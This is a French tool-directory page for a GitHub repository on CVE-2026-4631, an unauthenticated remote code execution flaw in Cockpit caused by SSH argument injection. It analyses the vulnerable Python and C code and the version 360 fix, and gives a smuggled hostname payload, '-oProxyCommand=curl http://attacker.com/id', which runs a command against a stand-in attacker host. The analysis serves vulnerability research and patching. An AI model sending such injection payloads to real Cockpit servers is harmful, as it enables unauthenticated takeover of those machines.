Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH | Kitploit
Outils/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH

Voir le dépôt
14619il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4631 — Analyse du code

Cockpit : Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH

ChampDétail
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SévéritéCritique (CVSS 9.8)
Versions affectéesCockpit 327 – 359
Corrigé dansCockpit 360
CWECWE-78 : Injection de commande système
Authentification requiseNON
Signalé parJelle van der Waa

Table des matières

  1. Présentation de la vulnérabilité
  2. Contexte architectural
  3. Analyse de la cause racine
  4. Code vulnérable — Fichier par fichier
  5. Vecteurs d'attaque
  6. Diagramme de flux de données
  7. Analyse du correctif
  8. Détection
  9. Références

1. Présentation de la vulnérabilité

La fonctionnalité de connexion à distance de Cockpit transmet les noms d'hôte fournis par l'utilisateur (depuis le chemin de l'URL) et les noms d'utilisateur (depuis l'en-tête Authorization: Basic) directement au binaire OpenSSH ssh sans aucune validation ni assainissement.

Un attaquant non authentifié ayant un accès réseau au port 9090 peut élaborer une seule requête HTTP qui :

  • Injecte des options SSH arbitraires via le champ nom d'hôte (-oProxyCommand=<cmd>)
  • Injecte des commandes shell via le champ nom d'utilisateur en exploitant l'expansion du jeton %r de SSH

Les deux points d'injection se déclenchent avant la fin de la vérification des identifiants, ce qui signifie qu'aucune connexion valide n'est requise.


2. Contexte architectural

Flux de connexion à distance normal

Auth-flow

Ce qui a changé dans la version 327

Avant la version 327, Cockpit utilisait un binaire C dédié appelé cockpit-ssh (basé sur libssh) pour les connexions à distance. À partir de la version 327, celui-ci a été remplacé par :

python3 -m cockpit.beiboot

qui invoque le client OpenSSH ssh du système. Ce changement a introduit la vulnérabilité car le nouveau chemin de code transmet des valeurs contrôlées par l'utilisateur directement à ssh sans assainissement.


3. Analyse de la cause racine

Problème 1 — Absence de séparateur -- avant le nom d'hôte

Le client SSH interprète les arguments commençant par - comme des options, et non comme un nom d'hôte, à moins qu'un séparateur -- ne les précède. Sans --, tout nom d'hôte commençant par - est analysé comme un drapeau SSH.

Construction vulnérable :

ssh [options] <nom-hôte> <commande-distance>

Construction sûre :

ssh [options] -- <nom-hôte> <commande-distance>

Problème 2 — Absence de validation des entrées

Ni cockpit-ws (code C) ni cockpit.beiboot (code Python) ne valident ni n'assainissent :

  • Le nom d'hôte extrait du chemin de l'URL
  • Le nom d'utilisateur extrait de l'en-tête Authorization: Basic

Problème 3 — Bug Python argparse (CPython #66623)

Un bug CPython connu fait que argparse gère mal les arguments commençant par - qui contiennent également des espaces, les traitant comme des arguments positionnels plutôt que comme des drapeaux. Cela permet à un nom d'hôte -oProxyCommand=commande malveillante de traverser l'analyse des arguments Python et d'atteindre ssh comme une option.


4. Code vulnérable — Fichier par fichier

4.1 src/cockpit/beiboot.py — Point d'injection principal

C'est le fichier le plus critique. La fonction via_ssh() construit la liste d'arguments de la commande SSH.

Code vulnérable (avant correctif)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Construire une commande ssh pour exécuter `cmd` sur `dest`."""

    # Analyser le port optionnel depuis dest (ex. "hôte:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Supprimer les crochets IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNÉRABLE : Pas de '--' avant l'hôte
        # Si host = "-oProxyCommand=evil", ssh le traite comme une option
        destination = ['-p', port, host]

    else:
        #  VULNÉRABLE : Entrée brute de l'attaquant transmise directement à ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

À quoi ressemble l'invocation SSH résultante

Avec dest = "-oProxyCommand=curl http://attacker.com/id" :

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← option cockpit
arg2: -oProxyCommand=curl http://...   ←  ANALYSÉE COMME OPTION SSH (pas un hôte)
arg3: python3 -ic '# cockpit-bridge'   ← devient le "nom d'hôte" → déclenche ProxyCommand

Code corrigé (version 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  CORRIGÉ : '--' force tout ce qui suit à être positionnel
        destination = ['-p', port, '--', host]

    else:
        #  CORRIGÉ : séparateur '--' ajouté
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Couche C : Extraction du nom d'hôte

Ce fichier C gère l'analyse initiale de la requête HTTP et lance le processus beiboot.

Extraction du nom d'hôte depuis l'URL (sans validation)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extrait tout ce qui suit "cockpit+=" du chemin de l'URL
    //  Aucune validation des caractères — tirets, caractères spéciaux autorisés
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

Le nom d'hôte retourné est transmis directement comme argument lors du lancement de beiboot :

// cockpit_ws_ssh_program est le modèle de commande de lancement
//  VULNÉRABLE : nom d'hôte ajouté sans assainissement
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Pas de '--' final signifie que le nom d'hôte peut être
//                        analysé comme un drapeau par argparse de Python (CPython #66623)

Corrigé dans la version 360

//  CORRIGÉ : '--' final garantit que le nom d'hôte est toujours positionnel
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Extraction du nom d'utilisateur depuis l'en-tête Authorization (sans validation)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Décode Authorization: Basic base64(utilisateur:motdepasse)
        //  Aucune validation de 'user' — points-virgules, caractères spéciaux autorisés
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }
Télécharger l’outil